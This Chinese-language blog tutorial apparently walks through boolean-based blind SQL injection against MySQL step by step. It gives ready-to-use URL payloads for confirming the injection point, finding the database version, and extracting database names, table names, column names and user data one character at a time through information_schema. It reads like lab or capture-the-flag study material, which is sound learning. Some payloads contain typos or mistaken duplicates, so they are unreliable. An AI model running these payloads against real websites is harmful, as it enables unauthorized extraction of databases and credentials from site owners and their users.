什么是布尔判断SQL注入?

“布尔判断”指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。

布尔盲注步骤:

第1步:确认注入点

方法:通过增加 ’ 和增加--+注释符,语句从执行失败变为执行成功判断注入点

第2步:判断数据库版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入; 由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断; 语句:?id=1' and left(version(),1)=5 --+

第3步:判断当前查询数据库的长度

方法:由于无法回显数据,先判断当前数据库的长度,减小后面猜解数据库名称工作量; 语句:?id=1' and length(database())>8 --+

第4步:猜解当前数据库名称(本步骤需要重复)

方法:利用第3步确认的数据库长度,结合substr函数,一个一个字符猜解,利用二分法; 语句:?id=1' and ascii(substr(database(),1,1))>110 --+

第5步:猜解数据库名

方法:猜解方法和第4步类似,通过substr和ascii函数来判断和猜解,函数一样,语句复杂些; 语句:?id=1' and ascill(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>98 --+

1)如何猜解第一个表的第二个字符?

方法:substr (***,2,1);substr函数的起始位置是从1开始的,切记 语句:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))>109 --+

2)如何猜解第二个数据库名?

方法:limit 1,1;(limit是从0开始的,切记,每次从schemata表中取出下一条记录) 语句:?id =1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99 --+

第6步:猜解数据表名(仅查询当前数据库,利用database函数)

方法:方法和之前类似,如果经常当前表,第5步可以省略 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+

1)非当前查询数据库,方法1

方法:该方法需要利用到第5步猜解出数据库名,比如叫schemaname(需要更换为实际); 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+

2)非当前查询数据库,方法2

方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.tables where table_schema='库名' and table_name regexp '^user[a-z]' limit 0,1) --+

第7步:猜解数据表列名

方法1: 方法:和第6步类似 语句:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="user" limit 0,1),1,1))>71 --+

方法2: 方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.columns where table_name='key' and column_name regexp '^ke[a-z]' limit 0,1) --+

获取数据布尔注入实战:

(1)判断闭合情况

(2)获取数据库名 先得到数据库名的长度 and length(database())>5, 改变n的值依次获取数据库名的字符 and ascii(substr(database(),1,1))>97

(3)获取表名 先获取表数量 and (select count( *) from information_schema.tables where table_schema=database())>5

再用limit依次获取每个表名的长度 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,

最后获取每个表名的名字 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97

(4)获取列名 先获取列名个数 and (select count( *) from information_schema.columns where table_name='users' and table_schema=database())>5,

再获取列名长度 and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,

最后获取列名 and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>97

(5)获取数据 先确定第一个用户名长度 and (select length(username) from users limit 0,1)>5 and (select length(key) from dotaxueyuan.key limit 0,1)=11--+

再确定用户名每一个字符的对应字母 and ascii(substr((select username from users limit 0,1),1,1))>97 and ascii(substr((select key from dotaxueyuan.key limit 0,1),1,1))=97

布尔盲注我也不是很懂,只能分享一些大致的步骤

SQL注入之布尔型盲注相关推荐

  1. SQL注入——基于布尔的盲注(八)

    本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...

  2. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  3. SQL注入——基于时间的盲注(九)

    本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...

  4. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  5. SQL注入--报错和盲注

    目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...

  6. 布尔型盲注Python脚本

    好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,参考sqli-labs里面的盲注漏洞进行的脚本编写. 因为写这个脚本时Python水平有限,现在也懒得改.当时就是写着玩,望师 ...

  7. SQL 注入漏洞(六)布尔型盲注

    一.代码分析 在页面中不会显示数据库信息,一般情况下只会显示对与错的内容. 接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database,否则显示 u ...

  8. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  9. SQL注入-不再显示的盲注

    Blind SQL(盲注) 是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入 ...

最新文章

  1. 数据结构与算法(7-4)最短路径(迪杰斯特拉(Dijkstra)算法、弗洛伊德(Floyd)算法)
  2. linux awk 用一个或多个空格做分隔符
  3. 在苏州的一个超级棒的事情
  4. android 页面标题,Android v4包下的PagerTitleStrip,ViewPager的页面标题
  5. 很少使用“ ControlFlowException”
  6. 详解图像处理的算术运算与逻辑运算
  7. 中国塑料瓶和容器市场趋势报告、技术动态创新及市场预测
  8. biztalk 2006 产品的版本以及适配器相关信息
  9. java visibility_浅析Android中的visibility属性
  10. 一篇搞定 Redis6(完整版)
  11. 错误使用 eig 输入矩阵包含 nan 或 inf_特斯拉AI主管提醒你神经网络的几大常见错误...
  12. 计算机与代数---如何计算log---方法推理[1]
  13. lammps案例:空位缺陷对石墨烯力学性能影响模拟
  14. 矩阵求导公式的推导和计算(公式推导法)
  15. Injective Protocol官方文档翻译(九) -清盘、清算(Liquidation)
  16. APP云测试平台分享
  17. 查找Mac序列号的9种方法
  18. android中按钮凹下去,实现按钮的点击效果
  19. LaTeX技巧-排版大括号
  20. C#的OpenFileDialog和SaveFileDialog的常见用法

热门文章

  1. Scrapy学习记录
  2. java ssm野生动物公益保护网站系统
  3. matlab 函数前加,matlab fopen函数的用法在程序前添加代码:addp
  4. 韶音骨传导耳机怎么样?南卡和韶音在线评测对比
  5. JS 把时间戳转化成YY-MM-DD
  6. 演员改行做程序员?一男一女,这两个人你绝对想不到
  7. cad提取边界命令_cad如何提取文本的轮廓线
  8. 扩展名为bat的文件的创建
  9. 我喜欢的LaTex编辑器
  10. 微信开发者工具下载及调试